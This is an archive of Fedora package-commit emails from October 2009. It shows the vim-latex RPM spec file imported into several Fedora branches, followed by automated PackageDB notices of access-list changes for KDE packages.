vim-latex-1_5-3_20091002_r1074_fc11:HEAD:vim-latex-1.5-3.20091002.r1074.fc11.src.rpm:1255214879


--- NEW FILE vim-latex.spec ---
%global date 20091002
%global rel r1074

Name:		vim-latex
Version:	1.5
Release:	3.%{date}.%{rel}%{?dist}
Summary:	Tools to view, edit and compile LaTeX documents in Vim
Group:		Applications/Editors
# According to doc/latex-suite license is Vim charityware license
License:	Vim
URL:		http://vim-latex.sourceforge.net/
Source0:	http://downloads.sourceforge.net/vim-latex/vim-latex-%{version}-%{date}-%{rel}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

# We need vim-common for dir ownership
Requires:	vim-common
# Needed for compilation (duh)
Requires:	tex(latex)
# Needed for display
Requires:	xdvi

%description
A comprehensive set of tools to view, edit and compile LaTeX documents without
needing to ever quit Vim. Together, they provide tools starting from macros to
speed up editing LaTeX documents to compiling tex files to forward searching
.dvi documents.

%package doc
Summary:	Documentation for vim-latex
Group:		Documentation

%description doc
Documentation for vim-latex.

%prep
%setup -q -n %{name}-%{version}-%{date}-%{rel}

%build

%install
rm -rf %{buildroot}
# Install files
make install DESTDIR=%{buildroot} VIMDIR=%{_datadir}/vim/vimfiles BINDIR=%{_bindir}

%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%{_bindir}/latextags
%{_bindir}/ltags
%{_datadir}/vim/vimfiles/compiler/tex.vim
%doc %{_datadir}/vim/vimfiles/doc/imaps.txt
%doc %{_datadir}/vim/vimfiles/doc/latex*.txt
%{_datadir}/vim/vimfiles/ftplugin/bib_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/tex_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/latex-suite/
%{_datadir}/vim/vimfiles/indent/tex.vim
%{_datadir}/vim/vimfiles/plugin/SyntaxFolds.vim
%{_datadir}/vim/vimfiles/plugin/filebrowser.vim
%{_datadir}/vim/vimfiles/plugin/imaps.vim
%{_datadir}/vim/vimfiles/plugin/libList.vim
%{_datadir}/vim/vimfiles/plugin/remoteOpen.vim


%files doc
%defattr(-,root,root,-)
%doc doc/latex-suite doc/latex-suite-quickstart


%changelog
* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-3.20091002.r1074
- Use make install instead of manual install.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20091002.r1074
- Update to 20091002-r1074.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20090901.r1069
- Added missing Requires: tex(latex) and xdvi.

* Mon Sep 28 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-1.20090901.r1069
- First release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vim-latex/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:13:19 -0000	1.1
+++ .cvsignore	10 Oct 2009 22:48:19 -0000	1.2
@@ -0,0 +1 @@
+vim-latex-1.5-20091002-r1074.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vim-latex/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:13:19 -0000	1.1
+++ sources	10 Oct 2009 22:48:19 -0000	1.2
@@ -0,0 +1 @@
+59420b4e4e13d8ea92806b4179b6311b  vim-latex-1.5-20091002-r1074.tar.gz



From jussilehtola at fedoraproject.org  Sat Oct 10 22:51:30 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sat, 10 Oct 2009 22:51:30 +0000 (UTC)
Subject: rpms/vim-latex/F-11 vim-latex.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091010225130.B03D211C00E5@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/vim-latex/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27634/F-11

Modified Files:
	sources 
Added Files:
	vim-latex.spec 
Log Message:
Imported in Fedora.


--- NEW FILE vim-latex.spec ---
%global date 20091002
%global rel r1074

Name:		vim-latex
Version:	1.5
Release:	3.%{date}.%{rel}%{?dist}
Summary:	Tools to view, edit and compile LaTeX documents in Vim
Group:		Applications/Editors
# According to doc/latex-suite license is Vim charityware license
License:	Vim
URL:		http://vim-latex.sourceforge.net/
Source0:	http://downloads.sourceforge.net/vim-latex/vim-latex-%{version}-%{date}-%{rel}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

# We need vim-common for dir ownership
Requires:	vim-common
# Needed for compilation (duh)
Requires:	tex(latex)
# Needed for display
Requires:	xdvi

%description
A comprehensive set of tools to view, edit and compile LaTeX documents without
needing to ever quit Vim. Together, they provide tools starting from macros to
speed up editing LaTeX documents to compiling tex files to forward searching
.dvi documents.

%package doc
Summary:	Documentation for vim-latex
Group:		Documentation

%description doc
Documentation for vim-latex.

%prep
%setup -q -n %{name}-%{version}-%{date}-%{rel}

%build

%install
rm -rf %{buildroot}
# Install files
make install DESTDIR=%{buildroot} VIMDIR=%{_datadir}/vim/vimfiles BINDIR=%{_bindir}

%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%{_bindir}/latextags
%{_bindir}/ltags
%{_datadir}/vim/vimfiles/compiler/tex.vim
%doc %{_datadir}/vim/vimfiles/doc/imaps.txt
%doc %{_datadir}/vim/vimfiles/doc/latex*.txt
%{_datadir}/vim/vimfiles/ftplugin/bib_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/tex_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/latex-suite/
%{_datadir}/vim/vimfiles/indent/tex.vim
%{_datadir}/vim/vimfiles/plugin/SyntaxFolds.vim
%{_datadir}/vim/vimfiles/plugin/filebrowser.vim
%{_datadir}/vim/vimfiles/plugin/imaps.vim
%{_datadir}/vim/vimfiles/plugin/libList.vim
%{_datadir}/vim/vimfiles/plugin/remoteOpen.vim


%files doc
%defattr(-,root,root,-)
%doc doc/latex-suite doc/latex-suite-quickstart


%changelog
* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-3.20091002.r1074
- Use make install instead of manual install.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20091002.r1074
- Update to 20091002-r1074.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20090901.r1069
- Added missing Requires: tex(latex) and xdvi.

* Mon Sep 28 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-1.20090901.r1069
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vim-latex/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:13:19 -0000	1.1
+++ sources	10 Oct 2009 22:51:30 -0000	1.2
@@ -0,0 +1 @@
+59420b4e4e13d8ea92806b4179b6311b  vim-latex-1.5-20091002-r1074.tar.gz



From jussilehtola at fedoraproject.org  Sat Oct 10 22:51:30 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sat, 10 Oct 2009 22:51:30 +0000 (UTC)
Subject: rpms/vim-latex/F-10 vim-latex.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091010225130.3248911C00DB@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/vim-latex/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27634/F-10

Modified Files:
	sources 
Added Files:
	vim-latex.spec 
Log Message:
Imported in Fedora.


--- NEW FILE vim-latex.spec ---
%global date 20091002
%global rel r1074

Name:		vim-latex
Version:	1.5
Release:	3.%{date}.%{rel}%{?dist}
Summary:	Tools to view, edit and compile LaTeX documents in Vim
Group:		Applications/Editors
# According to doc/latex-suite license is Vim charityware license
License:	Vim
URL:		http://vim-latex.sourceforge.net/
Source0:	http://downloads.sourceforge.net/vim-latex/vim-latex-%{version}-%{date}-%{rel}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

# We need vim-common for dir ownership
Requires:	vim-common
# Needed for compilation (duh)
Requires:	tex(latex)
# Needed for display
Requires:	xdvi

%description
A comprehensive set of tools to view, edit and compile LaTeX documents without
needing to ever quit Vim. Together, they provide tools starting from macros to
speed up editing LaTeX documents to compiling tex files to forward searching
.dvi documents.

%package doc
Summary:	Documentation for vim-latex
Group:		Documentation

%description doc
Documentation for vim-latex.

%prep
%setup -q -n %{name}-%{version}-%{date}-%{rel}

%build

%install
rm -rf %{buildroot}
# Install files
make install DESTDIR=%{buildroot} VIMDIR=%{_datadir}/vim/vimfiles BINDIR=%{_bindir}

%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%{_bindir}/latextags
%{_bindir}/ltags
%{_datadir}/vim/vimfiles/compiler/tex.vim
%doc %{_datadir}/vim/vimfiles/doc/imaps.txt
%doc %{_datadir}/vim/vimfiles/doc/latex*.txt
%{_datadir}/vim/vimfiles/ftplugin/bib_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/tex_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/latex-suite/
%{_datadir}/vim/vimfiles/indent/tex.vim
%{_datadir}/vim/vimfiles/plugin/SyntaxFolds.vim
%{_datadir}/vim/vimfiles/plugin/filebrowser.vim
%{_datadir}/vim/vimfiles/plugin/imaps.vim
%{_datadir}/vim/vimfiles/plugin/libList.vim
%{_datadir}/vim/vimfiles/plugin/remoteOpen.vim


%files doc
%defattr(-,root,root,-)
%doc doc/latex-suite doc/latex-suite-quickstart


%changelog
* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-3.20091002.r1074
- Use make install instead of manual install.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20091002.r1074
- Update to 20091002-r1074.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20090901.r1069
- Added missing Requires: tex(latex) and xdvi.

* Mon Sep 28 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-1.20090901.r1069
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vim-latex/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:13:19 -0000	1.1
+++ sources	10 Oct 2009 22:51:29 -0000	1.2
@@ -0,0 +1 @@
+59420b4e4e13d8ea92806b4179b6311b  vim-latex-1.5-20091002-r1074.tar.gz



From jussilehtola at fedoraproject.org  Sat Oct 10 22:51:31 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sat, 10 Oct 2009 22:51:31 +0000 (UTC)
Subject: rpms/vim-latex/F-12 vim-latex.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091010225131.9C99411C00DB@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/vim-latex/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27634/F-12

Modified Files:
	sources 
Added Files:
	vim-latex.spec 
Log Message:
Imported in Fedora.


--- NEW FILE vim-latex.spec ---
%global date 20091002
%global rel r1074

Name:		vim-latex
Version:	1.5
Release:	3.%{date}.%{rel}%{?dist}
Summary:	Tools to view, edit and compile LaTeX documents in Vim
Group:		Applications/Editors
# According to doc/latex-suite license is Vim charityware license
License:	Vim
URL:		http://vim-latex.sourceforge.net/
Source0:	http://downloads.sourceforge.net/vim-latex/vim-latex-%{version}-%{date}-%{rel}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

# We need vim-common for dir ownership
Requires:	vim-common
# Needed for compilation (duh)
Requires:	tex(latex)
# Needed for display
Requires:	xdvi

%description
A comprehensive set of tools to view, edit and compile LaTeX documents without
needing to ever quit Vim. Together, they provide tools starting from macros to
speed up editing LaTeX documents to compiling tex files to forward searching
.dvi documents.

%package doc
Summary:	Documentation for vim-latex
Group:		Documentation

%description doc
Documentation for vim-latex.

%prep
%setup -q -n %{name}-%{version}-%{date}-%{rel}

%build

%install
rm -rf %{buildroot}
# Install files
make install DESTDIR=%{buildroot} VIMDIR=%{_datadir}/vim/vimfiles BINDIR=%{_bindir}

%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%{_bindir}/latextags
%{_bindir}/ltags
%{_datadir}/vim/vimfiles/compiler/tex.vim
%doc %{_datadir}/vim/vimfiles/doc/imaps.txt
%doc %{_datadir}/vim/vimfiles/doc/latex*.txt
%{_datadir}/vim/vimfiles/ftplugin/bib_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/tex_latexSuite.vim
%{_datadir}/vim/vimfiles/ftplugin/latex-suite/
%{_datadir}/vim/vimfiles/indent/tex.vim
%{_datadir}/vim/vimfiles/plugin/SyntaxFolds.vim
%{_datadir}/vim/vimfiles/plugin/filebrowser.vim
%{_datadir}/vim/vimfiles/plugin/imaps.vim
%{_datadir}/vim/vimfiles/plugin/libList.vim
%{_datadir}/vim/vimfiles/plugin/remoteOpen.vim


%files doc
%defattr(-,root,root,-)
%doc doc/latex-suite doc/latex-suite-quickstart


%changelog
* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-3.20091002.r1074
- Use make install instead of manual install.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20091002.r1074
- Update to 20091002-r1074.

* Thu Oct 08 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-2.20090901.r1069
- Added missing Requires: tex(latex) and xdvi.

* Mon Sep 28 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5-1.20090901.r1069
- First release.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vim-latex/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:13:19 -0000	1.1
+++ sources	10 Oct 2009 22:51:30 -0000	1.2
@@ -0,0 +1 @@
+59420b4e4e13d8ea92806b4179b6311b  vim-latex-1.5-20091002-r1074.tar.gz



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:20 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235020.2B25310F8A3@bastion2.fedora.phx.redhat.com>

kevin has set the watchcommits acl on kdepim-runtime (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:20 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235020.31D9D10F8A9@bastion2.fedora.phx.redhat.com>

kevin has set the watchbugzilla acl on kdepim-runtime (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:23 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235024.2701D10F8AC@bastion2.fedora.phx.redhat.com>

kevin has set the approveacls acl on kdepim-runtime (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:26 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235026.8BD9C10F8A1@bastion2.fedora.phx.redhat.com>

kevin has set the watchbugzilla acl on kdepim-runtime (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:28 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235028.47B9F10F8A9@bastion2.fedora.phx.redhat.com>

kevin has set the watchcommits acl on kdepim-runtime (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:29 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235029.EE80510F8B5@bastion2.fedora.phx.redhat.com>

kevin has set the commit acl on kdepim-runtime (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:31 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235031.E89E010F8AB@bastion2.fedora.phx.redhat.com>

kevin has set the approveacls acl on kdepim-runtime (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:36 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235036.EA75810F895@bastion2.fedora.phx.redhat.com>

kevin has set the watchbugzilla acl on kdepim-runtime (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:38 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235038.0603B10F8B9@bastion2.fedora.phx.redhat.com>

kevin has set the watchcommits acl on kdepim-runtime (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:39 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235039.7D93E10F8AF@bastion2.fedora.phx.redhat.com>

kevin has set the commit acl on kdepim-runtime (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:50:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:50:41 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235041.49F5410F8A9@bastion2.fedora.phx.redhat.com>

kevin has set the approveacls acl on kdepim-runtime (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:52:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:52:07 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235207.22F9E10F880@bastion2.fedora.phx.redhat.com>

kevin has set the watchbugzilla acl on kdeaccessibility (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:52:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:52:08 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235208.82E4F10F8A1@bastion2.fedora.phx.redhat.com>

kevin has set the watchcommits acl on kdeaccessibility (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:52:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:52:10 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235210.3F23110F8A9@bastion2.fedora.phx.redhat.com>

kevin has set the commit acl on kdeaccessibility (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:52:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:52:12 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235212.AED2810F8AC@bastion2.fedora.phx.redhat.com>

kevin has set the approveacls acl on kdeaccessibility (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:13 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235313.693A810F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora devel) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:14 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235314.878F110F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora devel) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:16 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235316.901A710F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora devel) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:18 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235323.A3C6D10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:22 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235327.BAC3810F8AD@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:20 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235326.083D310F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:50 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235353.1281910F8A9@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 12) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:50 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235353.AA3B010F8AB@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 12) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:53:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:53:52 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235357.8326B10F88F@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdepim-runtime (Fedora 12) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:14 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235414.2E5B910F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdeaccessibility (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:15 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235415.CD6DD10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdeaccessibility (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:18 +0000
Subject: [pkgdb] kdeaccessibility had acl change status
Message-ID: <20091010235418.E0CD410F8A4@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdeaccessibility (Fedora 10) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdeaccessibility



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:46 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235446.8CE3710F894@bastion2.fedora.phx.redhat.com>

kevin has set the watchbugzilla acl on kdepim-runtime (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:47 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235447.8340F10F895@bastion2.fedora.phx.redhat.com>

kevin has set the watchcommits acl on kdepim-runtime (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:49 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235449.7BA7B10F8A9@bastion2.fedora.phx.redhat.com>

kevin has set the commit acl on kdepim-runtime (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 23:54:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 23:54:51 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091010235451.AE30B10F894@bastion2.fedora.phx.redhat.com>

kevin has set the approveacls acl on kdepim-runtime (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:04:05 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011000406.01E8410F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdepim-runtime (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:04:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:04:06 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011000406.BF33210F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdepim-runtime (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sun Oct 11 00:04:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 00:04:07 +0000
Subject: [pkgdb] kdepim-runtime had acl change status
Message-ID: <20091011000407.D845710F8A9@bastion2.fedora.phx.redhat.com>

